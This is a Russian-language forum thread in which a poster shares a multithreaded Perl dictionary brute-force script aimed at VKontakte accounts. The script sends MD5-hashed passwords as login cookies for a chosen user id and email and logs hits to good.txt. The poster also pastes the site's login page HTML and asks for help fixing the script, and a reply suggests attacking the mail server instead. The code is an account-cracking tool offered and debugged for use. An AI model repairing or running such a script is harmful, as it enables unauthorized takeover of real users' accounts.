Help! Помогите склеить btuforce/ На perl работает. Версия activeperl 5.8.9, без прокси, скорость более 3 Мбит. ИСХОДНИК: Code: #!/usr/bin/perl use IO::Socket; use MD5; use threads; use threads::shared; my @pass : shared; $dic = 'pass.txt'; #словарь паролей $id = id15101421; #id цели $mail = ' somemail%40mail.ru'; #мыло, вместо @ вписать %40 $threads = 10; #количество потоков ###################################### open (pass, "<$dic"); Next: @pass = pass(); for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} for(@trl) { $_->join; } sub Brut { while (@pass){ $pass = shift @pass; $md5 = MD5->hexhash($pass); $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80); print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n". "Host: vkontakte.ru\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "User-Agent: Mozillo\r\n". "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n". "Connection: close\r\n\r\n"; $answ = <$sock>; close $sock; print "$pass $answ"; if ($answ =~ /302/){ open (good, '>>good.txt'); print good "$id:$pass:$md5\n"; print "$id:$pass:$md5\n"; close good; exit;} } } goto Next; sub pass { my (@mas); while (<pass>){ push @mas, $_; last if (@mas == 400); } chomp @mas; return @mas; } Создаю соответственно "pass.txt" - со словарем паролей, Ввожу мыльник, id. Файл с кодом сохраняю с расширением .pl Тестю конечно с валидными - id, mail, password. Запускаю - Ничего путного не выдает -только .log вида: ------------ perl.exe ------------ aaaaaa HTTP/1.1 200 OK sdhakjshgdas HTTP/1.1 200 OK asdbasdb HTTP/1.1 200 OK bfsoiuf2 HTTP/1.1 200 OK 23rfwfw HTTP/1.1 200 OK f2fasddwq HTTP/1.1 200 OK -------------------------- окно не закрывается. Предположение неправильно описаны - значения успеха и(или) неудачи. Или только password'ы чекает и никакой связки с хостом, мыльнико, id - нет. Выкладываю html-код сайта- Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="vkontakte"> <head> <meta http-equiv="content-type" content="text/html; charset=windows-1251" /> <title>Вход</title> <link rel="stylesheet" href="/css/rustyle.css?126" type="text/css" /> <script src="/js/common.js?234"></script> <link rel="stylesheet" href="/css/reg.css?13" type="text/css" /> <link rel="stylesheet" href="/css/ui_controls.css?23" type="text/css" /> <script type="text/javascript" src="/js/lib/ui_controls.js?101"></script> <script type="text/javascript" src="/js/lang0_0.js?3704"></script> <link rel="shortcut icon" href="/images/faviconnew.ico" /> <!--[if lte IE 6]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(/css/ie.css?14); /* ]]> */</style><![endif]--> <!--[if IE 7]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(/css/ie7.css?13); /* ]]> */</style><![endif]--> <!--[if gte IE 8]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(/css/ie8.css); /* ]]> */</style><![endif]--> <script type="text/javascript"> <!-- if (window.qArr && qArr[5]) qArr[5] = [5, "по товарам", "", "goods", 0x00000100]; onDomReady(function() { window.init_dec_hash(); }); var base_domain = '/'; css_versions = extend(css_versions, { lib_ui_controls_js: 101, ui_controls_css: 23, mentions_js: 32, qsearch_js: 34, privacy_css: 20, profile_css: 125, wiki_css: 26, gifts_css: 32, mail2_css: 12, mail_js: 40, photoview_css: 11, photoview_js: 16 }); var is_rtl = false;if (parent && parent != window && (browser.msie || browser.opera || browser.mozilla || browser.chrome || browser.safari || browser.iphone)) { onDomReady(function() { document.getElementsByTagName('body')[0].innerHTML = '<h1 style="color: #F00">THIS IS NOT VKONTAKTE AND NOT VK SITE</h1>'; }); } window.awayHash = 'b5120b6746b69d018b'; //--> </script> </head> <body onresize="onBodyResize()"> <div id="pageContainer"> <div id="pageLayout"> <script type="text/javascript">onBodyResize()</script> <!-- pageHeader --> <div id="pageHeader" class="p_head p_head_l0"> <div class="header_back"></div> <div class="header_left"></div> <div class="header_right"></div> <div id="pageHeaderRight"> <h1 id="home"><a href="/">ВКонтакте</a></h1> <div class="headNav"> </div> </div> </div> <!-- End pageHeader --> <!-- sideBar --> <div id="sideBar"> <ol id='nav'> <li><a href='/index.php'>Главная</a></li> <li><a href='/login.php'>Вход</a></li> <li><a href='/reg0'>Регистрация</a></li> </ol> </div> <!-- End sideBar --> <!-- pageBody --> <div id="pageBody" class="pageBody"> <div id="wrapH"> <div id="wrapHI"> <div id="header"><h1> Вход</h1></div> </div> </div> <div id="wrap2"> <div id="wrap1"> <div id="content"> <script type="text/javascript"> var vklogin = false; function try_to_login(obj, text) { if (text.substr(0, 4) == 'good') { var to = ''; if (location.hash.toString().length) { to += location.hash; } if (to.length) { window.location.href = '/' + to; } else { window.location.href = '/id' + text.substr(4); } } else if (text.substr(0, 10) == 'not_active') { window.location.href = '/login.php?r=1'; } else if (text.substr(0, 6) == 'invite') { window.location.href = '/help.php?page=welcome&hash=' + text.substr(6); } else if (text.substr(0, 9) == 'reginvite') { window.location.href = '/register.php?hash=' + text.substr(9); } else if (text.substr(0, 7) == 'vklogin') { vklogin = true; ge('login').submit(); } else { show('message_text'); ge('message_text').innerHTML = "<div id='error' style='font-size: 11px'>Такой почтовый адрес не зарегистрирован, либо пароль неверный.</div>"; } } function quick_login() { var options = {onSuccess: try_to_login}; hide('message_text'); Ajax.postWithCaptcha('/login.php', {'op': 'a_login_attempt'}, options); } var captcha_send = 'Отправить'; var captcha_cancel = 'Отмена'; </script> <div id="message_text"> <div id='error' style='font-size: 11px'>Такой почтовый адрес не зарегистрирован, либо пароль неверный.</div> </div> <div class="simplePage"> <form method="post" name="login" id="login" action="http://login.vk.com/" onsubmit="if (vklogin) { return true} else { quick_login();return false;}"> <input type="hidden" name="act" id="act" value="login"> <input type="hidden" name="success_url" id="success_url" value=""> <input type="hidden" name="fail_url" id="fail_url" value=""> <input type="hidden" name="try_to_login" id="try_to_login" value="1"> <input type="hidden" name="to" id="to" value=""/> <input type="hidden" name="vk" id="vk" value="" /> <input type="hidden" name="al_test" value="3" /> <table align="center" cellpadding=0 cellspacing=7 border=0 width="80%"> <tr> <td class="ta_r"> <span class="grey">E-mail или Логин:</span> </td> <td style="padding: 0px"> <input class="inputText" type="text" name="email" value="[email protected]" id="email" size="25" style="margin: 0px"/> <td> </tr> <tr> <td class="ta_r"> <span class="grey">Пароль:</span> </td> <td style="padding: 0px"> <input class="inputText" type="password" name="pass" value="" id="pass" size="25" style="margin: 0px"/> </td> </tr> <tr> <td> </td> <td> <input type="hidden" name="expire" id="expire" /> <script type="text/javascript"> onDomReady(function() { new Checkbox(ge('expire'), { width: 150, label: 'Чужой компьютер' }); }); </script> </td> </tr> <tr> <td> </td> <td> <div style="height:20px; margin:5px 0px"> <ul class="nNav btnList"> <li> <b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b> <span class="ncc"><a href="javascript: quick_login()">Вход</a></span> <b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b> </li> <li> <b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b> <span class="ncc"><a href="/reg0">Регистрация</a></span> <b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b> </li></ul> </div> </td> </tr> <tr> <td> </td> <td class="forgotPass"> <a href="login.php?op=forgot">Забыли пароль?</a> </td> </tr> </table> <input type="submit" value='.' style="color:#fff;border:0;padding:0;margin:0;background:#fff;height:6px;width:6px"/> </form> </div> </div> </div> </div> </div> <div id="boxHolder"></div> <!-- End pageBody --> <!-- bFooter --> <div class="footerVK"> <div><a href="/help.php?page=about">В Контакте</a> © 2006-2011 <a href="#" onclick="return doChangeLang(0, 'ac1388ccfe84952c58');" style="margin-left:7px">Русский</a><a href="#" onclick="return doChangeLang(1, 'ac1388ccfe84952c58');" style="margin-left:7px">Українська</a><a href="#" onclick="return doChangeLang(2, 'ac1388ccfe84952c58');" style="margin-left:7px">Беларуская (тарашкевiца)</a><a href="#" onclick="return doChangeLang(3, 'ac1388ccfe84952c58');" style="margin-left:7px">English</a><a href="#" onclick="return doChangeLang(11, 'ac1388ccfe84952c58');" style="margin-left:7px">Српски</a><a href="#" onclick="return doChangeLang(10, 'ac1388ccfe84952c58');" style="margin-left:7px">Magyar</a><a href="#" onclick="return doChangeLang(57, 'ac1388ccfe84952c58');" style="margin-left:7px">Azərbaycan</a><a href="#" onclick="return changeLang();" class="langSelector">все языки »</a></div> <div><!----></div> </div> <!--Both counters--> <script type="text/javascript"> <!-- onDomReady(function(){ setTimeout(function() { (new Image()).src = 'http://counter.yadro.ru/hit?r' + escape(document.referrer) + ((typeof(screen)=='undefined')?'':';s'+screen.width+'*'+screen.height+'*'+(screen.colorDepth?screen.colorDepth:screen.pixelDepth)) + ';u' + escape(document.URL) + ';' + Math.random() + ''; (new Image()).src = 'http://www.tns-counter.ru/V13a***R>' + document.referrer.replace(/\*/g,'%2a') + '*vkontakte_ru/ru/UTF-8/tmsec=vkontakte_total/' + Math.round(Math.random() * 1000000000); }, 10); }); //--> </script> <!--/Both counters--> <!-- End bFooter --> </div> <script type="text/javascript"> window.init_dec_hash = function() { window.decoded_hashes = {}; var dec_hash = function(hash) { (function(_){window.decoded_hashes[_]=(function(__){var ___=ge?'':'___';for(____=0;____<__.length;++____)___+=__.charAt(__.length-____-1);return geByClass?___:'___';})(_.substr(_.length-5)+_.substr(4,_.length-12));})(hash); } window.decodehash = function(hash) { dec_hash(hash); return window.decoded_hashes[hash]; } } </script> <!-- End pageLayout 11593 --> </div> </body> </html> Просветите где ошибка.
Ну незнаю,я не профи,но по моему атака ведется не на 80 порт и не на стартовую страницу, а на SMTP или POP3 сервер.